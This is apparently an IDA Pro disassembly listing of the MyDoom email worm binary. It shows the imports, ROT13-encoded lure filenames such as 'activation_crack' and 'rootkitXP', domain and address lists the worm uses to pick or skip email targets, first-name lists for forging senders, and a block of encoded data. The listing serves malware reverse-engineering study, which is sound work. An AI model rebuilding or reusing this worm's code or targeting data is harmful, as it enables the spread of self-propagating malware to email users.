home *** CD-ROM | disk | FTP | other *** search
- ; [0000013E BYTES. COLLAPSED STRUCT _WIN32_FIND_DATAA. PRESS KEYPAD "+" TO EXPAND]
- ; [00000010 BYTES. COLLAPSED STRUCT SYSTEMTIME. PRESS KEYPAD "+" TO EXPAND]
- ; [000000AC BYTES. COLLAPSED STRUCT _TIME_ZONE_INFORMATION. PRESS KEYPAD "+" TO EXPAND]
- ; [00000008 BYTES. COLLAPSED STRUCT FILETIME. PRESS KEYPAD "+" TO EXPAND]
- ; [00000010 BYTES. COLLAPSED STRUCT _SYSTEMTIME. PRESS KEYPAD "+" TO EXPAND]
- ; [00000010 BYTES. COLLAPSED STRUCT _PROCESS_INFORMATION. PRESS KEYPAD "+" TO EXPAND]
- ; [00000044 BYTES. COLLAPSED STRUCT _STARTUPINFOA. PRESS KEYPAD "+" TO EXPAND]
- ; [00000008 BYTES. COLLAPSED STRUCT _FILETIME. PRESS KEYPAD "+" TO EXPAND]
-
- ;
- ; ╔═════════════════════════════════════════════════════════════════════════╗
- ; ║ This file is generated by The Interactive Disassembler (IDA) ║
- ; ║ Copyright (c) 2002 by DataRescue sa/nv, <ida@datarescue.com> ║
- ; ║ Licensed to: Thomas Wright, DVDMods, 1 user, special ║
- ; ╚═════════════════════════════════════════════════════════════════════════╝
- ;
- ; File Name : C:\Documents and Settings\Damien Good\My Documents\mydoom.bin
- ; Format : Portable executable for IBM PC (PE)
- ; Section 1. (virtual address 00001000)
- ; Virtual size : 00007B00 ( 31488.)
- ; Section size in file : 00007C00 ( 31744.)
- ; Offset to raw data for section: 00000200
- ; Flags E0040020: Text Executable Readable Writable
- ; Alignment : 16 bytes ?
- ;
- ; Imports from ADVAPI32.dll
- ;
-
-
- unicode macro page,string,zero
- irpc c,<string>
- db '&c', page
- endm
- ifnb <zero>
- dw zero
- endif
- endm
-
- model flat
-
- ; ═══════════════════════════════════════════════════════════════════════════
-
- ; Segment type: Externs
- ; _idata
- extrn RegCloseKey:dword ; DATA XREF: sub_4A3AA3+8Dr
- ; sub_4A3AA3+A7r ...
- ; LONG __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
- extrn RegOpenKeyExA:dword ; DATA XREF: sub_4A3AA3+45r
- ; sub_4A3CD7+29r ...
- ; LONG __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
- extrn RegSetValueExA:dword ; DATA XREF: sub_4A3CD7+81r
- ; LONG __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
- extrn RegQueryValueExA:dword ; DATA XREF: sub_4A46F7+80r
- ; sub_4A60A5+66r ...
- ; LONG __stdcall RegEnumKeyA(HKEY hKey,DWORD dwIndex,LPSTR lpName,DWORD cbName)
- extrn RegEnumKeyA:dword ; DATA XREF: sub_4A7DFD+5Ar
- ; LONG __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
- extrn RegCreateKeyExA:dword ; DATA XREF: sub_4A3AA3+80r
-
- ;
- ; Imports from KERNEL32.DLL
- ;
- ; HANDLE __stdcall CreateFileMappingA(HANDLE hFile,LPSECURITY_ATTRIBUTES lpFileMappingAttributes,DWORD flProtect,DWORD dwMaximumSizeHigh,DWORD dwMaximumSizeLow,LPCSTR lpName)
- extrn CreateFileMappingA:dword ; DATA XREF: sub_4A5F97+50r
- ; BOOL __stdcall FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATAA lpFindFileData)
- extrn FindNextFileA:dword ; DATA XREF: sub_4A630C+D1r
- ; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
- extrn FindFirstFileA:dword ; DATA XREF: sub_4A630C+B2r
- ; DWORD __stdcall GetEnvironmentVariableA(LPCSTR lpName,LPSTR lpBuffer,DWORD nSize)
- extrn GetEnvironmentVariableA:dword ; DATA XREF: sub_4A64A8+6Fr
- ; UINT __stdcall GetWindowsDirectoryA(LPSTR lpBuffer,UINT uSize)
- extrn GetWindowsDirectoryA:dword ; DATA XREF: sub_4A64A8+62r
- ; UINT __stdcall GetDriveTypeA(LPCSTR lpRootPathName)
- extrn GetDriveTypeA:dword ; DATA XREF: sub_4A6599+6Er
- ; DWORD __stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
- extrn GetFileSize:dword ; DATA XREF: sub_4A5F97+40r
- ; sub_4A6864+D1r ...
- ; BOOL __stdcall FindClose(HANDLE hFindFile)
- extrn FindClose:dword ; DATA XREF: sub_4A630C+18Er
- ; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime,LPSYSTEMTIME lpSystemTime)
- extrn FileTimeToSystemTime:dword ; DATA XREF: sub_4A40B3+B7r
- ; HGLOBAL __stdcall GlobalAlloc(UINT uFlags,DWORD dwBytes)
- extrn GlobalAlloc:dword ; DATA XREF: sub_4A76D2+99r
- ; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
- extrn GetTempFileNameA:dword ; DATA XREF: sub_4A6FCD+A1r
- ; DWORD __stdcall SetFilePointer(HANDLE hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod)
- extrn SetFilePointer:dword ; DATA XREF: sub_4A67F0+14r
- ; sub_4A67F0+66r ...
- ; void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime)
- extrn GetSystemTime:dword ; DATA XREF: sub_4A676D+Ar
- ; HANDLE GetCurrentThread(void)
- extrn GetCurrentThread:dword ; DATA XREF: sub_4A6645+7r
- ; sub_4A6BB4+20r
- ; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
- extrn WriteFile:dword ; DATA XREF: sub_4A38E0+18r
- ; sub_4A38E0+38r ...
- ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
- extrn LoadLibraryA:dword ; DATA XREF: sub_4A3962+12Cr
- ; sub_4A4681+30r ...
- ; LPSTR __stdcall lstrcpyA(LPSTR lpString1,LPCSTR lpString2)
- extrn lstrcpyA:dword ; DATA XREF: sub_4A3962+119r
- ; sub_4A3B88+34r ...
- ; BOOL __stdcall CloseHandle(HANDLE hObject)
- extrn CloseHandle:dword ; DATA XREF: sub_4A3962+F2r
- ; sub_4A3B88+F1r ...
- ; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName)
- extrn GetFileAttributesA:dword ; DATA XREF: sub_4A3962+C2r
- ; sub_4A3B88+124r
- ; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
- extrn CreateFileA:dword ; DATA XREF: sub_4A3962+AAr
- ; sub_4A3B88+E1r ...
- ; int __stdcall lstrlenA(LPCSTR lpString)
- extrn lstrlenA:dword ; DATA XREF: sub_4A3962+65r
- ; sub_4A3B88+8Dr ...
- ; DWORD __stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
- extrn GetTempPathA:dword ; DATA XREF: sub_4A3962+4Fr
- ; sub_4A3B88+74r ...
- ; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
- extrn GetSystemDirectoryA:dword ; DATA XREF: sub_4A3962+41r
- ; sub_4A3B88+66r ...
- ; LPSTR __stdcall lstrcatA(LPSTR lpString1,LPCSTR lpString2)
- extrn lstrcatA:dword ; DATA XREF: sub_4A3962+1Dr
- ; sub_4A3962+84r ...
- ; DWORD GetLastError(void)
- extrn GetLastError:dword ; DATA XREF: sub_4A3B52+24r
- ; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
- extrn CreateMutexA:dword ; DATA XREF: sub_4A3B52+1Er
- ; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
- extrn CopyFileA:dword ; DATA XREF: sub_4A3B88+113r
- ; sub_4A46F7+1B4r
- ; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
- extrn DeleteFileA:dword ; DATA XREF: sub_4A3B88+FEr
- ; StartAddress+1ACr ...
- ; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
- extrn SetFileAttributesA:dword ; DATA XREF: sub_4A3B88+C4r
- ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPSTR lpFilename,DWORD nSize)
- extrn GetModuleFileNameA:dword ; DATA XREF: sub_4A3B88+2Br
- ; sub_4A48B6+17r ...
- ; BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime,LPFILETIME lpFileTime)
- extrn SystemTimeToFileTime:dword ; DATA XREF: sub_4A3D6E+1Dr
- ; sub_4A3DB0+1Dr
- ; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
- extrn GetSystemTimeAsFileTime:dword ; DATA XREF: sub_4A3D6E+Ar
- ; sub_4A3DB0+Ar
- ; void __stdcall Sleep(DWORD dwMilliseconds)
- extrn Sleep:dword ; DATA XREF: sub_4A3DB0+3Dr main+93r ...
- ; void __stdcall ExitThread(DWORD dwExitCode)
- extrn ExitThread:dword ; DATA XREF: StartAddress+1B3r
- ; .text:004A5B22r ...
- ; DWORD __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
- extrn WaitForSingleObject:dword ; DATA XREF: StartAddress+192r
- ; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName,LPSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation)
- extrn CreateProcessA:dword ; DATA XREF: StartAddress+183r
- ; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,DWORD dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
- extrn CreateThread:dword ; DATA XREF: main+19r main+42r ...
- ; DWORD GetTickCount(void)
- extrn GetTickCount:dword ; DATA XREF: main+7r sub_4A4215r ...
- ; void __stdcall ExitProcess(UINT uExitCode)
- extrn ExitProcess:dword ; DATA XREF: start+5Br
- ; DWORD __stdcall GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation)
- extrn GetTimeZoneInformation:dword ; DATA XREF: sub_4A40B3+CAr
- ; LPVOID __stdcall MapViewOfFile(HANDLE hFileMappingObject,DWORD dwDesiredAccess,DWORD dwFileOffsetHigh,DWORD dwFileOffsetLow,DWORD dwNumberOfBytesToMap)
- extrn MapViewOfFile:dword ; DATA XREF: sub_4A5F97+71r
- ; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME *lpFileTime,LPFILETIME lpLocalFileTime)
- extrn FileTimeToLocalFileTime:dword ; DATA XREF: sub_4A40B3+A9r
- ; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
- extrn GetLocalTime:dword ; DATA XREF: sub_4A40B3+9Ar
- ; int __stdcall WideCharToMultiByte(UINT CodePage,DWORD dwFlags,LPCWSTR lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cchMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
- extrn WideCharToMultiByte:dword ; DATA XREF: sub_4A4321+BAr
- ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
- extrn GetProcAddress:dword ; DATA XREF: sub_4A4681+56r
- ; sub_4A4EFE+39r ...
- ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
- extrn GetModuleHandleA:dword ; DATA XREF: sub_4A4681+1Br
- ; sub_4A4EFE+19r ...
- ; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
- extrn HeapFree:dword ; DATA XREF: sub_4A4ADF+11r
- ; sub_4A4C45+1EFr ...
- ; HANDLE GetProcessHeap(void)
- extrn GetProcessHeap:dword ; DATA XREF: sub_4A4ADF+Ar
- ; sub_4A4AFE+E6r ...
- ; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD dwFlags,DWORD dwBytes)
- extrn HeapAlloc:dword ; DATA XREF: sub_4A4AFE+EDr
- ; sub_4A4C45+24r ...
- ; LPSTR __stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength)
- extrn lstrcpynA:dword ; DATA XREF: sub_4A4EFE+A7r
- ; sub_4A586A+6Dr ...
- ; int __stdcall lstrcmpA(LPCSTR lpString1,LPCSTR lpString2)
- extrn lstrcmpA:dword ; DATA XREF: sub_4A55D4+60r
- ; sub_4A6147+77r ...
- ; int __stdcall lstrcmpiA(LPCSTR lpString1,LPCSTR lpString2)
- extrn lstrcmpiA:dword ; DATA XREF: sub_4A5788+4Ar
- ; sub_4A5934+11r ...
- ; HGLOBAL __stdcall GlobalFree(HGLOBAL hMem)
- extrn GlobalFree:dword ; DATA XREF: sub_4A5A7C+5Ar
- ; sub_4A76D2+E1r
- ; LONG __stdcall InterlockedDecrement(LPLONG lpAddend)
- extrn InterlockedDecrement:dword ; DATA XREF: .text:004A5B1Ar
- ; LONG __stdcall InterlockedIncrement(LPLONG lpAddend)
- extrn InterlockedIncrement:dword ; DATA XREF: .text:004A5AF3r
- ; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
- extrn ReadFile:dword ; DATA XREF: sub_4A5EC8+3Er
- ; sub_4A67F0+1Ar ...
- ; BOOL __stdcall UnmapViewOfFile(LPCVOID lpBaseAddress)
- extrn UnmapViewOfFile:dword ; DATA XREF: sub_4A5F97+E2r
- ; BOOL __stdcall SetThreadPriority(HANDLE hThread,int nPriority)
- extrn SetThreadPriority:dword ; DATA XREF: sub_4A6645+Er
- ; sub_4A6BB4+27r
-
- ;
- ; Imports from MSVCRT.dll
- ;
- extrn __imp_memset:dword ; DATA XREF: memsetr
- extrn tolower:dword ; DATA XREF: sub_4A42A7+Dr
- ; sub_4A42A7+23r ...
- extrn __imp_memcpy:dword ; DATA XREF: memcpyr
- extrn isdigit:dword ; DATA XREF: sub_4A4321+3Ar
- extrn toupper:dword ; DATA XREF: sub_4A4489+44r
- ; sub_4A4489+65r
- extrn isxdigit:dword ; DATA XREF: sub_4A4489+29r
- ; sub_4A4489+33r ...
- extrn isalnum:dword ; DATA XREF: sub_4A5108+3Br
- ; sub_4A5108+8Cr ...
- extrn isspace:dword ; DATA XREF: sub_4A5108+2Br
- ; sub_4A5108+ECr ...
-
- ;
- ; Imports from USER32.dll
- ;
- ; DWORD __stdcall CharUpperBuffA(LPSTR lpsz,DWORD cchLength)
- extrn CharUpperBuffA:dword ; DATA XREF: sub_4A6ED6+DAr
- ; LPSTR __stdcall CharUpperA(LPSTR lpsz)
- extrn CharUpperA:dword ; DATA XREF: sub_4A6ED6+EEr
- ; LPSTR __stdcall CharLowerA(LPSTR lpsz)
- extrn CharLowerA:dword ; DATA XREF: sub_4A6147+51r
- ; sub_4A78AC+EBr
- ; int __stdcall wvsprintfA(LPSTR,LPCSTR,va_list arglist)
- extrn wvsprintfA:dword ; DATA XREF: sub_4A45C4+18r
- ; sub_4A7AAA+1Dr
- extrn wsprintfA:dword ; DATA XREF: StartAddress+147r
- ; sub_4A40B3+156r ...
-
- ;
- ; Imports from WS2_32.dll
- ;
- extrn WS2_32_19:dword ; DATA XREF: sub_4A6BB4+6Dr
- ; sub_4A7AAA+3Dr ...
- extrn WS2_32_10:dword ; DATA XREF: sub_4A6A9F+4Cr
- ; sub_4A6A9F+FDr
- extrn WS2_32_4:dword ; DATA XREF: sub_4A6A9F+52r
- ; sub_4A7B47+A5r
- extrn WS2_32_111:dword ; DATA XREF: sub_4A6A9F+5Ar
- extrn __imp_WS2_32_151:dword ; DATA XREF: WS2_32_151r
- extrn WS2_32_11:dword ; DATA XREF: .text:004A506Cr
- ; sub_4A7877+2r
- extrn WS2_32_52:dword ; DATA XREF: .text:004A507Fr
- ; sub_4A6C3B+3Fr ...
- extrn WS2_32_23:dword ; DATA XREF: sub_4A4C45+3Er
- ; sub_4A6A9F+14r ...
- extrn WS2_32_18:dword ; DATA XREF: sub_4A4C45+C3r
- ; sub_4A6A9F+BBr ...
- extrn WS2_32_16:dword ; DATA XREF: sub_4A4C45+E5r
- ; sub_4A77D9+6Br
- extrn WS2_32_3:dword ; DATA XREF: sub_4A4C45+25Fr
- ; sub_4A6A9F+108r ...
- extrn WS2_32_15:dword ; DATA XREF: sub_4A49F3+10r
- ; sub_4A49F3+17r ...
- extrn WS2_32_9:dword ; DATA XREF: sub_4A48E2+40r
- ; sub_4A48E2+BEr ...
- extrn WS2_32_20:dword ; DATA XREF: sub_4A48E2+FDr
- extrn WS2_32_115:dword ; DATA XREF: start+19r
-
-
- ; ═══════════════════════════════════════════════════════════════════════════
-
- ; Segment type: Pure code
- _text segment para public 'CODE' use32
- assume cs:_text
- ;org 4A1184h
- assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
- align 10h
- dword_4A1190 dd 4A2650h ; DATA XREF: sub_4A46F7+105r
- dd offset aVpd2004Svany ; "vpd2004-svany"
- dd offset aNpgvingvba_pen ; "npgvingvba_penpx"
- dd offset aFgevcTvey2_0oq ; "fgevc-tvey-2.0oqpbz_cngpurf"
- dd offset aEbbgxvgkc ; "ebbgxvgKC"
- dd offset aBssvpr_penpx ; "bssvpr_penpx"
- dd offset aAhxr2004 ; "ahxr2004"
- align 8
- dword_4A11B0 dd 4A2AC8h ; DATA XREF: sub_4A551A+7Er
- ; sub_4A551A+86o
- dd offset aSyma ; "syma"
- dd offset aIcrosof ; "icrosof"
- dd offset aMsn_ ; "msn."
- dd offset aHotmail ; "hotmail"
- dd offset aPanda ; "panda"
- dd offset aSopho ; "sopho"
- dd offset aBorlan ; "borlan"
- dd offset aInpris ; "inpris"
- dd offset aExample ; "example"
- dd offset aMydomai ; "mydomai"
- dd offset aNodomai ; "nodomai"
- dd offset aRuslis ; "ruslis"
- dd offset a_gov ; ".gov"
- dd offset aGov_ ; "gov."
- dd offset a_mil ; ".mil"
- dd offset aFoo_ ; "foo."
- align 8
- dd offset asc_4A2A44 ; "\n\n\n"
- align 8
- dword_4A1200 dd 4A2A38h ; DATA XREF: sub_4A551A+4Ar
- ; sub_4A551A+5Ao
- dd offset aUnix ; "unix"
- dd offset aMath ; "math"
- dd offset aBsd ; "bsd"
- dd offset aMit_e ; "mit.e"
- dd offset aGnu ; "gnu"
- dd offset aFsf_ ; "fsf."
- dd offset aIbm_com ; "ibm.com"
- dd offset aGoogle ; "google"
- dd offset aKernel ; "kernel"
- dd offset aLinux ; "linux"
- dd offset aFido ; "fido"
- dd offset aUsenet ; "usenet"
- dd offset aIana ; "iana"
- dd offset aIetf ; "ietf"
- dd offset aRfcEd ; "rfc-ed"
- dd offset aSendmail ; "sendmail"
- dd offset aArin_ ; "arin."
- dd offset aRipe_ ; "ripe."
- dd offset aIsi_e ; "isi.e"
- dd offset aIsc_o ; "isc.o"
- dd offset aSecur ; "secur"
- dd offset aAcketst ; "acketst"
- dd offset aPgp ; "pgp"
- dd offset aTanford_e ; "tanford.e"
- dd offset aUtgers_ed ; "utgers.ed"
- dd offset aMozilla ; "mozilla"
- align 8
- dd offset aBe_loyal ; "\n\nbe_loyal:"
- align 8
- dword_4A1278 dd 4A2954h ; DATA XREF: sub_4A55D4+48r
- ; sub_4A55D4+50o
- dd offset aInfo ; "info"
- dd offset aSamples ; "samples"
- dd offset aPostmaster ; "postmaster"
- dd offset aWebmaster ; "webmaster"
- dd offset aNoone ; "noone"
- dd offset aNobody ; "nobody"
- dd offset aNothing ; "nothing"
- dd offset aAnyone ; "anyone"
- dd offset aSomeone ; "someone"
- dd offset aYour ; "your"
- dd offset aYou ; "you"
- dd offset aMe ; "me"
- dd offset aBugs ; "bugs"
- dd offset aRating ; "rating"
- dd offset aSite ; "site"
- dd offset aContact ; "contact"
- dd offset aSoft ; "soft"
- dd offset aNo ; "no"
- dd offset aSomebody ; "somebody"
- dd offset aPrivacy ; "privacy"
- dd offset aService ; "service"
- dd offset aHelp ; "help"
- dd offset aNot ; "not"
- dd offset aSubmit ; "submit"
- dd offset aFeste ; "feste"
- dd offset aCa ; "ca"
- dd offset aGoldCerts ; "gold-certs"
- dd offset aThe_bat ; "the.bat"
- dd offset aPage ; "page"
- dd 0
- dword_4A12F4 dd 4A2868h ; DATA XREF: sub_4A55D4+10Cr
- ; sub_4A55D4+114o
- dd offset aIcrosoft ; "icrosoft"
- dd offset aSupport ; "support"
- dd offset aNtivi ; "ntivi"
- dd offset aUnix ; "unix"
- dd offset aBsd ; "bsd"
- dd offset aLinux ; "linux"
- dd offset aListserv ; "listserv"
- dd offset aCertific ; "certific"
- dd offset aGoogle ; "google"
- dd offset aAccoun ; "accoun"
- dd 2 dup(0)
- ; LPCSTR lpString2
- lpString2 dd offset aJohn ; DATA XREF: sub_4A586A+88r
- ; "john"
- dd offset aJohn ; "john"
- dd offset aAlex ; "alex"
- dd offset aMichael ; "michael"
- dd offset aJames ; "james"
- dd offset aMike ; "mike"
- dd offset aKevin ; "kevin"
- dd offset aDavid ; "david"
- dd offset aGeorge ; "george"
- dd offset aSam ; "sam"
- dd offset aAndrew ; "andrew"
- dd offset aJose ; "jose"
- dd offset aLeo ; "leo"
- dd offset aMaria ; "maria"
- dd offset aJim ; "jim"
- dd offset aBrian ; "brian"
- dd offset aSerg ; "serg"
- dd offset aMary ; "mary"
- dd offset aRay ; "ray"
- dd offset aTom ; "tom"
- dd offset aPeter ; "peter"
- dd offset aRobert ; "robert"
- dd offset aBob ; "bob"
- dd offset aJane ; "jane"
- dd offset aJoe ; "joe"
- dd offset aDan ; "dan"
- dd offset aDave ; "dave"
- dd offset aMatt ; "matt"
- dd offset aSteve ; "steve"
- dd offset aSmith ; "smith"
- dd offset aStan ; "stan"
- dd offset aBill ; "bill"
- dd offset aBob ; "bob"
- dd offset aJack ; "jack"
- dd offset aFred ; "fred"
- dd offset aTed ; "ted"
- dd offset aAdam ; "adam"
- dd offset aBrent ; "brent"
- dd offset aAlice ; "alice"
- dd offset aAnna ; "anna"
- dd offset aBrenda ; "brenda"
- dd offset aClaudia ; "claudia"
- dd offset aDebby ; "debby"
- dd offset aHelen ; "helen"
- dd offset aJerry ; "jerry"
- dd offset aJimmy ; "jimmy"
- dd offset aJulie ; "julie"
- dd offset aLinda ; "linda"
- dd offset aSandra ; "sandra"
- dword_4A13EC dd 4A3454h ; DATA XREF: sub_4A6CDE+AEr
- dd offset aZfa_pbz ; "zfa.pbz"
- dd offset aLnubb_pbz ; "lnubb.pbz"
- dd offset aUbgznvy_pbz ; "ubgznvy.pbz"
- align 8
- dword_4A1400 dd 0D05A9D8Ah, 6F4E5DAh, 6C4E331Fh, 2D84E72h, 0C8925F97h
- ; DATA XREF: sub_4A3962+E4o
- dd 0BE7C3D01h, 0E4964B43h, 3AE08935h, 0C05AF797h, 76049529h
- dd 5CDE63EBh, 72E861DDh, 0B8228FFFh, 2E8CED51h, 0D4267BD3h
- dd 0AAF0390Dh, 0B0EA2767h, 0E6144579h, 4C6E93BBh, 0E2F8112Dh
- dd 0A8B2BFCFh, 9E9C9DA1h, 0C4B6ABA3h, 1A00E9D5h, 0A07A5737h
- dd 5624F5C9h, 3CFEC38Bh, 5208C17Dh, 9842EF9Fh, 0EAC4DF1h
- dd 0B446DB73h, 8A109925h, 900A8707h, 0A8A5A519h, 0D2C3F2FEh
- dd 2C12F8A8h, 0B68F6B4Ah, 703D0DE0h, 5A1BDFA6h, 5527E17Ch
- dd 0BE6012C9h, 38D56518h, 0E273179Eh, 0BC418954h, 0C63FE39Ah
- dd 6D8D50h, 6ACB4F96h, 7A43B10Ch, 0CE1773B2h, 0C8054788h
- dd 0F223578Ah, 4C7199C4h, 0D6EF0B2Eh, 909DADC0h, 7A7B0F86h
- dd 9489917Ch, 0DEC7B3A2h, 583515FAh, 2C3A77Eh, 0DCA17934h
- dd 0E68F5B1Ah, 20CD6D30h, 8A2BCF76h, 24B951FCh, 0EE770392h
- dd 0E865E568h, 8383976Eh, 0A1958C76h, 0EFD7C2B0h, 6D49280Ah
- dd 1BEBBE94h, 0F9BD844Eh, 7BF7A38h, 45F1A052h, 0B353966Ch
- dd 51E57C1Ah, 1FA732C0h, 1D99189Ah, 4BBB2EA4h, 0A90D74DEh
- dd 378FEA48h, 0F54190E2h, 0E32366ACh, 1356CA6h, 4F77A2D0h
- dd 0CDE9082Ah, 7B8B9EB4h, 595D646Eh, 675F5A58h, 0A5918072h
- dd 13F3D6BCh, 0B1855C36h, 7F4712E0h, 7D39F8BAh, 0AB5B0EC4h
- dd 9AD54FEh, 0A7779A3Dh, 55E17002h, 43C306CCh, 61D55CC6h
- dd 736A6461h, 0B5A08C7Fh, 2706E8CDh, 0C99C724Bh, 9B622CF9h
- dd 7D581657h, 0FE2660B0h, 31D47A23h, 0C35AE491h, 8510CE2Fh
- dd 77F674FDh, 990C80FBh, 0EB52BC29h, 6DC82687h, 1F6EC015h
- dd 0E1448A93h, 2112D494h, 5580AEDFh, 0C7E6182Dh, 697CF2ABh
- dd 3B424E59h, 3D383837h, 6F5E5045h, 0D1B49A83h, 633A14F1h
- dd 0E5F0BECFh, 23E4B66Ch, 61BCF75Bh, 893BD0A8h, 633C73EEh
- dd 0C5E099F8h, 0A117914Bh, 0B322DE21h, 48543F3Fh, 7E6F7B51h
- dd 6ED9CFD6h, 23032995h, 0BF0994E9h, 41A5F3E6h, 327CA610h
- dd 806B6DC8h, 0C72D0B21h, 8210D24Eh, 0A773F96Ch, 8714DE77h
- dd 52FB0707h, 0C06101AAh, 26F79B2Ch, 9D97DD96h, 460F6022h
- dd 2CFDCD9Eh, 0B2937F40h, 2009F1D2h, 63687658h, 5152505Dh
- dd 77646A53h, 0EFC52C01h, 57BC3054h, 9DCE3C11h, 0E3206E57h
- dd 0D1DA60ADh, 66CE1552h, 0C041B75Fh, 9365E414h, 72FE789Fh
- dd 6AE7BC0Dh, 137B7B95h, 1C7D7676h, 0F6F22D0Dh, 0D1F1B0F4h
- dd 0DDFA79E7h, 0FFA3654Ch, 0DD8C6C27h, 1B8CDB0Bh, 8775BDA9h
- dd 14DB4F3Bh, 9144282h, 0F82CC45h, 29B762FAh, 8315FB73h
- dd 7E931EE7h, 296924B4h, 0CB28BDFFh, 0E774EEAh, 0F7BFB03Ah
- dd 73ECD454h, 4D987398h, 0A2F29D06h, 0F362C2AFh, 0DF375EE5h
- dd 7527105h, 7E401BF8h, 0A9A73E54h, 7D022C4Fh, 6E7C830h
- dd 1A2A54D2h, 9D014C6Bh, 0FA6AF604h, 0F806C71Dh, 0AB04901Dh
- dd 6060096h, 99EF2B10h, 17FF4ED4h, 930B2FC3h, 2175F8C6h
- dd 0FF5FA48Ch, 0EB6B72CCh, 0FDA5FE6Fh, 0C941D0ECh, 0C4D99178h
- dd 0E8C726ACh, 1AB7A9E0h, 29EC6F5Dh, 0F3BCA310h, 516FF5EDh
- dd 0D68D3521h, 29481C53h, 5CB7E318h, 0CDB89D3Fh, 0E35552D0h
- dd 0BEEA43B5h, 0A0A0E367h, 49CEE232h, 302F243Ah, 84AE8F0Ah
- dd 0A14075E1h, 0F5B29862h, 0E3E04A30h, 0C18191FFh, 88770727h
- dd 0B3548F67h, 0FEE20885h, 61AB4582h, 0BBDA748Eh, 0F0AE382Ah
- dd 9C18D44Ah, 0C2488A17h, 0FB9EBCB5h, 6EE6561Fh, 473BE090h
- dd 0B71AA0B3h, 0C4BCAAD2h, 0A64893F7h, 0FF04C001h, 5D8B1206h
- dd 94BDD8A9h, 0E81FF831h, 0DF3E635Ah, 42CA0AD6h, 605E0CD5h
- dd 0F4F57249h, 1753F4AEh, 0F21516FCh, 70739A8Eh, 0E2B1823Ch
- dd 535B378Eh, 9427A216h, 0B1AC5854h, 0AA3E3735h, 21956575h
- dd 841AEB6Eh, 0AE66A81h, 953A3F18h, 0E382819Fh, 3D47A473h
- dd 2ED60209h, 0D5A7C288h, 0EA5C8A3Fh, 5F3B569Fh, 79C34A3Dh
- dd 0B809435Fh, 0CE9AABF0h, 0D985B21Eh, 3BD4C14Bh, 0DFCFC3A7h
- dd 4AF947F6h, 2DFBD8F7h, 62678AB4h, 11AD58FFh, 5BF7228Ch
- dd 85DF58CBh, 65E0ACFCh, 9497EBDAh, 0EF0860E2h, 0ECE33C3Fh
- dd 608E107Fh, 9B4DDD7Eh, 1B059DE4h, 0CCDB7A97h, 8F37FBB3h
- dd 1D39F125h, 0F51A7CB2h, 9FBD1F1Dh, 0E9EAC6E9h, 96D93EEBh
- dd 0DA3BFD70h, 0F3F62545h, 4D6E7A4h, 0FE394C21h, 8987A45Bh
